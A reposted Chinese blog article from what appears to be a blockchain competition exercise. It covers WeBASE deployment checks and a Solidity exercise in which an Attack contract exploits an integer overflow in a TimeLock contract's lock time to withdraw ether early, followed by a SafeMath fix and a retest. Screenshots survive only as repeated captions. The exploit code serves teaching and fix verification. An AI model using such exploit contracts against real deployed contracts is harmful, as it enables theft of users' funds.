任务1-3 区块链系统测试(10分)

这篇具有很好参考价值的文章主要介绍了任务1-3 区块链系统测试(10分)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

WeBASE 平台搭建、验证

WeBASE 部署

# 启动
python3 deploy.py startAll

webase.sgin 功能验证

,使用webase进行漏洞复现,修复漏洞并使用webase进行验证。,区块链

,使用webase进行漏洞复现,修复漏洞并使用webase进行验证。,区块链

 webase-node-mgr 进程验证

,使用webase进行漏洞复现,修复漏洞并使用webase进行验证。,区块链

,使用webase进行漏洞复现,修复漏洞并使用webase进行验证。,区块链

智能合约安全测试

例题二

源码

pragma solidity ^0.7.6;

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}

分析问题,说明危害

这个是智能合约中比较典型的漏洞,即为整型溢出。当数据足够大时,对此数据添加1可能将导致数据存在归零的危害,此类问题常常存在与账户转账中金额设置中,包括美链等智能合约都出现类似的问题。

根据 truffle 编写测试用例,复现漏洞

  • 在migrations文件夹中加入代码部署的执行代码

,使用webase进行漏洞复现,修复漏洞并使用webase进行验证。,区块链

  • 具体测试用例编写内容如下

,使用webase进行漏洞复现,修复漏洞并使用webase进行验证。,区块链

  • 当测试用例执行成功即表示攻击成功,会有如下内容输出:

,使用webase进行漏洞复现,修复漏洞并使用webase进行验证。,区块链

修复问题,说明修复内容并测试

  • 新智能合约

可以使用类似SafeMath的通用函数,来确保所有加减乘除方法安全,通过定义包括safeAdd等函数确保了智能合约的运算正确性,从而规避了整型溢出的问题,如下为修改后的智能合约示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract SafeMath {
  function safeMul(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }
 
  function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
    assert(b > 0);
    uint256 c = a / b;
    assert(a == b * c + a % b);
    return c;
  }
 
  function safeSub(uint256 a, uint256 b) internal returns (uint256) {
    assert(b <= a);
    return a - b;
  }
 
  function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a + b;
    assert(c>=a && c>=b);
    return c;
  }
}

contract NewTimeLock is SafeMath {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] = safeAdd(lockTime[msg.sender], _secondsToIncrease);
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract NewAttack {
    NewTimeLock timeLock;

    constructor(NewTimeLock _timeLock) {
        timeLock = NewTimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        if t = current lock time then we need to find x such that
        x + t = 2**256 = 0
        so x = -t
        2**256 = type(uint).max + 1
        so x = type(uint).max + 1 - t
        */
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
  • 验证测试
    • 使用同样的测试用例,再执行,验证测试攻击是否仍能成功,如下为验证正确性的测试

,使用webase进行漏洞复现,修复漏洞并使用webase进行验证。,区块链

  • 当有交易被回滚,说明修复成功: 

,使用webase进行漏洞复现,修复漏洞并使用webase进行验证。,区块链文章来源地址https://www.toymoban.com/news/detail-770662.html

到了这里,关于任务1-3 区块链系统测试(10分)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Django(10)-项目实战-对发布会管理系统进行测试并获取测试覆盖率

    在发布会签到系统中使用django开发了发布会签到系统, 本文对该系统进行测试。 django.test 是Django框架中的一个模块,提供了用于编写和运行测试的工具和类。 django.test 模块包含了一些用于测试的类和函数,如: TestCase :这是一个基类,用于编写Django测试用例。继承自 unit

    2024年02月10日
    浏览(48)
  • 使用Burp Suite和Python进行自动化漏洞挖掘—SQL测试注入插件

    每次测注入都是用burp的Intruder模块,很不方便就是批量跑批量测哪些没有过滤 懒人鹅上线,准备搞一个sql测试的插件 本篇文章代码量大,基础可以去看上一篇 测试sql基本注入的载荷,在可能有sql注入的地方发送测试包,目前只测试url中的,并可以根据错误回显判断出数据库

    2024年02月09日
    浏览(44)
  • 搭建第一个区块链网络与一键部署WeBASE步骤

    搭建第一个区块链网络 — FISCO BCOS v2 v2.9.0 文档 (fisco-bcos-documentation.readthedocs.io) 一键部署 — WeBASE v1.5.5 文档 (webasedoc.readthedocs.io) 默认如MySQL、Python、java等依赖已经引入 创建操作目录 cd ~ mkdir -p fisco cd fisco 下载国内脚本 curl -#LO https://osp-1257653870.cos.ap-guangzhou.myqcloud.com/FISCO-BC

    2024年02月04日
    浏览(42)
  • 区块链网络管理平台WeBASE双节点可视化部署

    之前有写过一篇Linux下一键部署区块链网络WeBASE(FISCO BCOS),是单节点,正常还是会考虑多部署几个节点的,这里进行一个管理节点,2个底层节点的部署操作,采用官网的可视化部署方式。 官网参考:https://webasedoc.readthedocs.io/zh_CN/latest/docs/WeBASE-Install/visual_deploy.html 可视化部

    2023年04月08日
    浏览(47)
  • 探秘WeBASE-Front:区块链前端服务框架,简化开发流程

    项目地址:https://gitcode.com/WeBankBlockchain/WeBASE-Front 在数字化转型的大潮中,区块链技术以其分布式、不可篡改和透明化的特性被广泛应用。而【WeBASE-Front】正是这样一款开源的区块链前端服务平台,它由微众银行区块链团队打造,旨在简化区块链应用的开发、部署和管理过程。

    2024年04月12日
    浏览(53)
  • 区块链入门教程(8)--WeBASE-Front节点前置服务

    FISCO BCOS有控制台管理工具,用来对区块链系统进行各种管理操作。 但是对于初学者来说,还是可视化界面更友好,本节就来介绍WeBASE管理平台,这是一款微众银行开源的自研区块链中间件平台,可以降低区块链使用的门槛,大幅提高区块链应用的开发效

    2024年02月07日
    浏览(39)
  • 区块链入门教程(6)--WeBASE-Front节点前置服务安装

    FISCO BCOS其实是有控制台管理工具,用来对区块链系统进行各种管理操作。 配置并使用控制台对联盟链进行初步操作 在控制台链接FISCO BCOS节点,可以实现查询区块链状态、部署调用合约等功能,能够快速获取到所需要的信息。 控制台依赖JDK,注意版本Oracle JDK 8 至JDK 14。 使用

    2023年04月14日
    浏览(45)
  • 【适合小白】区块链之我用可视化的方式部署Webase

    本小编在今年的四月底参加了一个区块链的省技能大赛,并在此基于我对官网教程的理解下,分享我的操作方法。 可视化部署是指通过 WeBASE 管理平台(WeBASE-Web + WeBASE-Node-Manager),在 多台 主机上快速部署 FISCO-BCOS 底层节点和 WeBASE-Front 前置 以及 对底层节点的扩容操作。 可

    2024年04月12日
    浏览(49)
  • 如何使用jmeter进行系统压力测试?

    1.1 常用组件以及参数介绍 1.1.1 基本软件 需准备一下工具 压测工具: jmeter-2.13 服务器性能监控:jmeter插件 ServerAgent-2.2.1 压测时,直接使用jmeter模拟终端发起交易,jmeter可统计交易并发;ServerAgent在服务器启动agent,开放4444端口,jmeter通过agent获取相关的服务器性能数据,包括

    2024年02月07日
    浏览(43)
  • RTOS任务进行单元测试的4种策略

    https://www.beningo.com/4-tactics-to-unit-test-rtos-tasks/ 超过50%的嵌入式软件项目使用实时操作系统(RTOS)。不幸的是,使用RTOS会给使用现代开发技术(如测试驱动开发(TDD)、DevOps或自动测试)的开发者带来一些问题。例如,当开发者试图为他们的任务编写测试时,他们遇到的第一个

    2024年02月09日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包